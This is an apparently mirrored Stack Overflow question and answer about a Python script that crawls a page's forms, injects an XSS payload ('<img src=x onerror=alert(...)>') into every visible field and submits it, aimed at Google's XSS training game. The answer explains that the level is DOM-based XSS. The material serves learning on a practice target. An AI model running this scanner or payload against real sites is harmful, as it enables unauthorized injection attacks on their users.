【问题标题】:How can I submit form (containing text areas and Input fields) python for XSS attack?如何提交表单(包含文本区域和输入字段)python 进行 XSS 攻击?
【发布时间】:2021-07-16 12:44:00
【问题描述】:

我一直在学习 XSS 以及为 XSS 构建的解决 google 游戏

http://www.xss-game.appspot.com/level2/frame

我成功找到了这个级别的解决方案,即在图像标签中包装脚本,但我无法通过使用下面的python代码找到漏洞。

from bs4 import BeautifulSoup
from bs4.element import Script
from requests_html import HTMLSession
from urllib.parse import urljoin
from bs4 import BeautifulSoup

session = HTMLSession()

def retrieve_all_forms(url):
    r = session.get(url)
    soup = BeautifulSoup(r.html.html,"html.parser")
    return soup.find_all("form")


def retrieve_form_details(form):
    form_details = {}
    form_details["action"] = form.attrs.get("action").lower()
    form_details["request_method"] = form.attrs.get("method","get").lower()
    input_tags_info = []
    
    for itag in form.find_all("input"):
        type = itag.attrs.get("type", "text")
        name = itag.attrs.get("name")
        value = itag.attrs.get("value", "")
        input_tags_info.append({"type":type,"name":name,"value":value})
    for ttag in form.find_all("textarea"):
        name = ttag.attrs.get("name")
        value = ttag.attrs.get("value", "")
        type = ttag.attrs.get("type", "text")
        input_tags_info.append({"type":type,"name":name,"value":value})
    form_details["inputs"] = input_tags_info
    return form_details


def payload_insulation(form, payload):
    for itag in form["inputs"]:
        
        if itag["type"] !="hidden" and itag["type"] !="submit":
            print(itag)
            itag["value"] = payload
    #print(form["inputs"])
    return form

def submit_form(url,form,payload):
    data ={}
    #print(form["inputs"])
    for itag in form["inputs"]:
        data[itag["name"]] = itag["value"]
    print(data)
    if form["request_method"] == "post":
        res = session.post(url, data=data)
    elif form["request_method"] == "get":
        res = session.get(url, params=data)
    #print(res.text)
    if payload in res.text:
        return 1
    else:
        return 0


def form_xss(url,payload):
    forms = retrieve_all_forms(url)
    results = []
    i=1
    for form in forms:
        form_details =retrieve_form_details(form)
        form = payload_insulation(form_details,payload)
        if submit_form(url,form,payload) == 1:
            results.append((payload,True))
        #print("="*50, f"form #{i}", "="*50)
        #print(form_details)
    return results

    
print(form_xss("http://www.xss-game.appspot.com/level2/frame",'<img src=x onerror="alert(String.fromCharCode(88,83,83))"/>'))

我一直在尝试通过 post 发送数据,但 img 标签没有出现在响应中。谁能告诉我这段代码中缺少什么?谢谢

【问题讨论】:

    标签: python textarea xss


    【解决方案1】:

    帖子是使用页面源中的 JavaScript 从本地存储中读取的:

      function displayPosts() {
        var containerEl = document.getElementById("post-container");
        containerEl.innerHTML = "";
    
        var posts = DB.getPosts();
        for (var i=0; i<posts.length; i++) {
          var html = '<table class="message"> <tr> <td valign=top> '
            + '<img src="/static/level2_icon.png"> </td> <td valign=top '
            + ' class="message-container"> <div class="shim"></div>';
    
          html += '<b>You</b>';
          html += '<span class="date">' + new Date(posts[i].date) + '</span>';
          html += "<blockquote>" + posts[i].message + "</blockquote";
          html += "</td></tr></table>"
          containerEl.innerHTML += html; 
        }
      }
    

    所以它是一个基于 DOM 的 XSS,它不会在响应中包含标签,因为它需要 JavaScript 和本地存储来运行。

    【讨论】:

    • 如果我错了,请纠正我。当我在网站的 textarea 中编写 并单击共享状态按钮时,它确实将上述标签放在了 blockquote 标签的响应中,并且警告框是也爆了。
    • 但是当我使用上面的 python 代码发送数据时,标签不会出现在 blockqoute 标签中。所以这基本上是我的问题
    • @MalikAbdulaziz 共享状态按钮执行 JavaScript 函数以将内容添加到本地存储。它不是向服务器发出请求并得到响应。一切都发生在客户端。这与一些涉及服务器反射数据的 XSS 漏洞不同。
    • 要查看警报,您需要执行 JavaScript 代码。 Python 中的无头浏览器之类的东西可以做到这一点。
    • 好的,我试试
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2017-02-24
    • 2018-02-26
    • 2011-04-16
    • 2011-10-06
    • 2021-12-29
    • 1970-01-01
    • 2011-05-24
    相关资源
    最近更新 更多